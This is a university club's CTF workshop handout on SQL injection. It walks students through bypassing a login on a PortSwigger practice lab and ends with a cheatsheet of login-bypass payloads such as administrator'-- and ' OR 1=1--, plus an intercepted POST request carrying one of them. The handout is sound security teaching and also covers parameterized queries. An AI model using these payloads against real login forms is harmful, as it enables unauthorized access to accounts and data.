CYBERTECH CLUB @ PSU | CTF WORKSHOP SERIES

MODULE 03

Injection Attacks

Participant Handout • Spring 2026

HOW TO USE THIS HANDOUT

This packet mirrors the live workshop deck so you can study async.

1. Hook

SET THE SCENE

If a website builds its database commands from what users' type, an attacker can turn a simple login box into a way to read or change every record.

Today we will use that trick to log in without a password on a real PortSwigger lab.

2. Learning Objectives

By the end of this topic, a student can:

- ☐ **Identify** injection points in a web application input field.
- ☐ **Exploit** a basic SQL injection to bypass authentication.
- ☐ **Apply** input validation or parameterized queries to prevent injection attacks.

3. Core Concept

SQL injection

When a web application takes user input and drops it directly into a database query without proper handling, an attacker can change the structure of that query. Instead of being treated as data, the input is interpreted as part of the command itself.

Why it works

A single quote ends a string, and two hyphens start a SQL comment. Combine them and the rest of the query, including the password check, becomes a note the database ignores. The attacker bypasses authentication, reads sensitive data, or modifies records.

The rule to remember

The system fails whenever it cannot tell data apart from code. Parameterized queries keep that line sharp; string concatenation erases it.

FIGURE 1: TURNING THE PASSWORD CHECK INTO A COMMENT

A. WHAT THE SERVER EXPECTS

```
SELECT * FROM users
WHERE username = '<input>' AND password = '<input>';
```

B. WHAT THE ATTACKER TYPES INTO THE LOGIN FORM

```
username: administrator'--
password: anything
```

C. WHAT THE DATABASE ACTUALLY RUNS

```
SELECT * FROM users
WHERE username = 'administrator' -- ' AND password = 'anything';
  ↑ everything after -- is treated as a comment and ignored
```

The attacker closes the username string with a quote, then uses -- to comment out the rest of the SQL. The password check never runs, and the database returns the first matching user.

4. How It Works

Five steps that match how a tester probes for injection, from input to outcome.

STEP 01

Capture User Input

Find every field that touches the database.

- The app accepts input from a form (username, password, search box, filter).
- That input is concatenated straight into a database query on the server.

STEP 02

Inject Malicious Input

Break out of the expected string.

- The attacker enters crafted input like administrator'-- to terminate the quoted field.
- The payload is designed to change the query structure, not just its values.

STEP 03

Alter Query Logic

Promote the payload from data to code.

- The injected input is parsed as SQL, not stored as a literal value.
- Comment markers (-- or #) remove the rest of the intended query.

STEP 04

Execute the Modified Query

Let the database do the work for you.

- The database runs the altered statement without complaint.
- Checks like password verification are skipped because they were commented out.

STEP 05

Gain Unauthorized Access

Confirm the bypass end to end.

- The attacker is logged in as the first matching user, often administrator.
- The system now treats every follow-up request as that privileged account.

5. Demo Walkthrough

Run this end to end on the PortSwigger login-bypass lab. The live demo follows the same script.

Prerequisites

LAB	BROWSER	STATE
SQL injection: login bypass	**Chrome or Safari**	**Lab opened, login page visible**

Lab URL: https://portswigger.net/web-security/sql-injection/lab-login-bypass

Step 1: Try a normal login

Action. On the lab login page, submit username admin with any wrong password such as 1234.

Expected. Login fails with an invalid credentials message. The form round-trips but no session is granted.

Step 2: Inject the payload

Action. Change the username to administrator'-- (note the single quote then two hyphens then a space). Leave any value in the password field.

Expected. You are logged in as administrator. The lab marks the challenge as solved.

The payload, anatomized

```
# What you type into the username field
administrator'--  (yes, there is a trailing space)

# What the database sees
SELECT * FROM users WHERE username = 'administrator' -- ' AND
password = '...';
```

Fallback

Video Link

6. Common Pitfalls

When something does not work, check these first before asking for help.

SYMPTOM

Payload looks correct but login still fails

Cause: You modified the wrong request instead of the lab's login request.

Fix: Confirm the POST request goes to the lab host, not the main PortSwigger site.

SYMPTOM

Injection payload has no effect

Cause: Missing space after --, so the SQL comment is not applied.

Fix: Always use -- with a trailing space before the rest of the line.

SYMPTOM

Changes do not affect the result

Cause: You edited a response or replayed a previously sent request.

Fix: Intercept the request before sending, or use Repeater to modify and resend it.

SYMPTOM

Server rejects the quote character

Cause: Basic input sanitization is stripping the single quote.

Fix: Try an alternate payload like ' OR 1=1-- or look for a different injection point.

7. Your Challenge

5 – 10 MIN **BEGINNER**

THE TASK

Use the provided lab to bypass the login form and gain access to the administrator account by modifying the login request.

SUCCESS CRITERION

Submit a screenshot showing you are logged in as administrator (account page or admin dashboard visible).

Hints

1. Look closely at how your input is used inside the login request.
2. Try breaking the query so the password check is ignored.
3. Use a payload like administrator'-- (with a space after the hyphens).

8. Cheatsheet

Keep this page next to you while you practice. Payloads and patterns only, no prose.

COMMAND / PAYLOAD	WHAT IT DOES	WHEN TO USE
`administrator'--`	Comments out the password check.	Login bypass when the username is known.
`' OR 1=1--`	Makes the WHERE condition always true.	Login bypass when the username is unknown.
`' OR '1'='1--`	Boolean-based always-true variant.	Basic authentication bypass, alternate syntax.
`'--`	Truncates the query early.	Probing to see whether the field is injectable.
`' OR 1=1#`	MySQL comment alternative.	When -- is stripped or does not work.

Basic login bypass pattern

```
-- Basic login bypass pattern
SELECT * FROM users
WHERE username = '<input>' AND password = '<input>';

-- After injection
SELECT * FROM users
WHERE username = 'administrator'-- ' AND password = 'anything';
```

Intercepted request (Burp)

```
# Intercepted request (Burp)
POST /login HTTP/1.1

username=administrator'-- &password=anything
```

9. Further Reading

Go deeper on your own time with these three resources.

01

PortSwigger: SQL Injection

Interactive labs and real attack scenarios to practice and deepen understanding.

https://portswigger.net/web-security/sql-injection

02

OWASP SQL Injection Prevention Cheat Sheet

Industry-standard defensive techniques and secure coding practices.

https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

03

OWASP Top 10: Injection

High-level overview of why injection remains critical and how it impacts real systems.

https://owasp.org/Top10/2021/A03_2021-Injection/